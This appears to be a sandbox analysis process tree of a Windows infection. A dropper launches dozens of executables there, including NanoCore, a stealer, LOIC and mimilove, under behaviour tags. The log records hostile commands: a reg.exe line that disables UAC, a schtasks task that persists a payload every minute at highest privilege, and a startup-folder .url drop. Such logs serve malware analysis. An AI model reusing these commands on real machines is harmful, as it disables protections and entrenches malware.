C:\Users\Admin\AppData\Local\Temp\Files\build.exe"C:\Users\Admin\AppData\Local\Temp\Files\build.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\NAMUVPN32.exe"C:\Users\Admin\AppData\Local\Temp\Files\NAMUVPN32.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\365VPN32\365VPN32.exe"C:\Users\Admin\AppData\Local\Temp\365VPN32\365VPN32.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\1003b.exe"C:\Users\Admin\AppData\Local\Temp\Files\1003b.exe"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\OpenArk32.exe"C:\Users\Admin\AppData\Local\Temp\Files\OpenArk32.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\EFatura.exe"C:\Users\Admin\AppData\Local\Temp\Files\EFatura.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\mimilove.exe"C:\Users\Admin\AppData\Local\Temp\Files\mimilove.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\fmt_01.exe"C:\Users\Admin\AppData\Local\Temp\Files\fmt_01.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Tinder%20Bot.exe"C:\Users\Admin\AppData\Local\Temp\Files\Tinder%20Bot.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\builder.exe"C:\Users\Admin\AppData\Local\Temp\Files\builder.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\FXServer.exe"C:\Users\Admin\AppData\Local\Temp\Files\FXServer.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\3582-490\FXServer.exe"C:\Users\Admin\AppData\Local\Temp\3582-490\FXServer.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exe/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f5⤵
-
C:\Windows\SysWOW64\reg.exeC:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f6⤵
- Modifies registry key
-
-
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"5⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c "C:\ProgramData\GoogleDat\GoogleUpdate.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe /c C:\ProgramData\GoogleDat\GoogleUpdate.exe7⤵
-
C:\ProgramData\GoogleDat\GoogleUpdate.exeC:\ProgramData\GoogleDat\GoogleUpdate.exe8⤵
-
-
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\LICENS~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\LICENS~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\LICENS~1.EXE4⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\LICENS~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\LICENS~1.EXE5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c gpupdate /force6⤵
-
C:\Windows\system32\gpupdate.exegpupdate /force7⤵
-
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\pvp.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\pvp.exeC:\Users\Admin\AppData\Local\Temp\Files\pvp.exe4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
C:\Users\Admin\AppData\Roaming\riende.exe"C:\Users\Admin\AppData\Roaming\riende.exe"5⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\NANOCO~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\NANOCO~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\NANOCO~1.EXE4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TempDel.bat" "5⤵
-
C:\Windows\SysWOW64\mode.commode 30,206⤵
-
-
C:\Windows\SysWOW64\timeout.exetimeout /nobreak 106⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Local\Temp\NanoCore.exe"C:\Users\Admin\AppData\Local\Temp\NanoCore.exe"6⤵
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\peinf.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\peinf.exeC:\Users\Admin\AppData\Local\Temp\Files\peinf.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\CONNEC~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\CONNEC~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\CONNEC~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\STHEAL~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\STHEAL~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\STHEAL~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\srtware.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\srtware.exeC:\Users\Admin\AppData\Local\Temp\Files\srtware.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\keygen.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\keygen.exeC:\Users\Admin\AppData\Local\Temp\Files\keygen.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\shell.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\shell.exeC:\Users\Admin\AppData\Local\Temp\Files\shell.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\SHARPH~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\SHARPH~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\SHARPH~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\black.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\black.exeC:\Users\Admin\AppData\Local\Temp\Files\black.exe4⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\black.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\black.exeC:\Users\Admin\AppData\Local\Temp\RarSFX0\black.exe6⤵
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\CRYPTE~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\CRYPTE~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\CRYPTE~1.EXE4⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"5⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\VC2005~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\VC2005~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\VC2005~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\AUTOGU~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\AUTOGU~1.EXEC:\Users\Admin\AppData\Local\Temp\Files\AUTOGU~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\Install.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\Install.exeC:\Users\Admin\AppData\Local\Temp\Files\Install.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\update.exe"3⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\LOIC.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\LOIC.exeC:\Users\Admin\AppData\Local\Temp\Files\LOIC.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\Security.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\Security.exeC:\Users\Admin\AppData\Local\Temp\Files\Security.exe4⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\$77SEC~1.EXE"5⤵
-
C:\Users\Admin\AppData\Local\Temp\$77SEC~1.EXEC:\Users\Admin\AppData\Local\Temp\$77SEC~1.EXE6⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "$77SEC~1" /tr "C:\Users\Admin\AppData\Roaming\$77SEC~1.EXE"7⤵
-
C:\Windows\SysWOW64\schtasks.exeC:\Windows\System32\schtasks.exe /create /f /RL HIGHEST /sc minute /mo 1 /tn $77SEC~1 /tr C:\Users\Admin\AppData\Roaming\$77SEC~1.EXE8⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Install.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\Install.exeC:\Users\Admin\AppData\Local\Temp\Install.exe6⤵
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\namu864.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\namu864.exeC:\Users\Admin\AppData\Local\Temp\Files\namu864.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\444.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Files\444.exeC:\Users\Admin\AppData\Local\Temp\Files\444.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\cr.exe"3⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /k echo [InternetShortcut] > "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TranscribeX.url" & echo URL="C:\Users\Admin\AppData\Local\AudioSync Innovations\TranscribeX.js" >> "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TranscribeX.url" & exit2⤵
- Drops startup file
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\437570\Ul.pifC:\Users\Admin\AppData\Local\Temp\437570\Ul.pif2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"2⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffbe1b7c728,0x7ffbe1b7c734,0x7ffbe1b7c7403⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1572,i,13175303278500700160,6562956126355311906,262144 --field-trial-handle=1936,i,5447735470161199380,1050175464391591291,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1932 /prefetch:23⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2124,i,13736484627645151333,4112774360530117966,524288 --field-trial-handle=1936,i,5447735470161199380,1050175464391591291,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2156 /prefetch:113⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2356,i,5962089113528869497,10904859888982394350,524288 --field-trial-handle=1936,i,5447735470161199380,1050175464391591291,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=2448 /prefetch:133⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3216,i,17875638732147426044,7557150835365068228,2097152 --field-trial-handle=1936,i,5447735470161199380,1050175464391591291,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3276 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3220,i,3332294189090348311,15877598675621921877,2097152 --field-trial-handle=1936,i,5447735470161199380,1050175464391591291,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3296 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4208,i,971861214394057105,17806385955109114877,2097152 --field-trial-handle=1936,i,5447735470161199380,1050175464391591291,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4224 /prefetch:93⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4524,i,10829677742073227986,9726410111517617833,2097152 --field-trial-handle=1936,i,5447735470161199380,1050175464391591291,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4620 /prefetch:13⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5364,i,7998074975642070014,4079737377748138957,524288 --field-trial-handle=1936,i,5447735470161199380,1050175464391591291,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5368 /prefetch:143⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2124,i,17609733608254475609,2887347700039198544,524288 --field-trial-handle=1936,i,5447735470161199380,1050175464391591291,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=3728 /prefetch:113⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=2156,i,3716245229445295699,8356276205764455753,524288 --field-trial-handle=1936,i,5447735470161199380,1050175464391591291,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5508 /prefetch:143⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=2152,i,14385866116314381150,5089686223351655803,524288 --field-trial-handle=1936,i,5447735470161199380,1050175464391591291,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5836 /prefetch:143⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5492,i,1149458199541391005,15297041559763399667,524288 --field-trial-handle=1936,i,5447735470161199380,1050175464391591291,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5772 /prefetch:143⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3728,i,5883709190334625123,11325032039236763654,524288 --field-trial-handle=1936,i,5447735470161199380,1050175464391591291,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=5508 /prefetch:113⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5820,i,17975386992777484798,1191242008121317914,262144 --field-trial-handle=1936,i,5447735470161199380,1050175464391591291,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=4208 /prefetch:103⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=5368,i,14484525909609007388,2569272416010197829,524288 --field-trial-handle=1936,i,5447735470161199380,1050175464391591291,262144 --variations-seed-version=20260129-170056.646000 --mojo-platform-channel-handle=1488 /prefetch:143⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"2⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2dc,0x2e0,0x2e4,0x2d8,0x340,0x7ffbd5ccc188,0x7ffbd5ccc194,0x7ffbd5ccc1a03⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1816,i,556531747315385748,9704249813821729056,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=2224 /prefetch:113⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1716,i,1646449961939974839,15126589562587004894,262144 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=2100 /prefetch:23⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2496,i,10292463161903829692,5077509621992323544,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=2488 /prefetch:133⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3476,i,5726918862259774944,16435870518303744237,2097152 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=3496 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3488,i,10936213165807189630,3110373620764268185,2097152 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:13⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5028,i,1565340684505110354,11616861574041711146,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=5084 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5048,i,2676323767507759084,1850955860645367878,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=5104 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2200,i,10250952962879530503,5990144826451944878,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=5664 /prefetch:113⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5656,i,15625698363876374033,2485922569532650150,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=5620 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5612,i,6554949354103665613,8118925345755935320,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=4944 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4044,i,14613238339110564308,3918228142599476835,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=5596 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6040,i,4190536373657983493,11206591948881559663,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=6044 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6040,i,4190536373657983493,11206591948881559663,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=6044 /prefetch:143⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5512,i,16960572017906063335,4673783369246957814,524288 --field-trial-handle=2108,i,3879325129840153313,17815320320528325224,262144 --variations-seed-version --mojo-platform-channel-handle=5572 /prefetch:143⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.execookie_exporter.exe --cookie-json=11084⤵
-
-
-
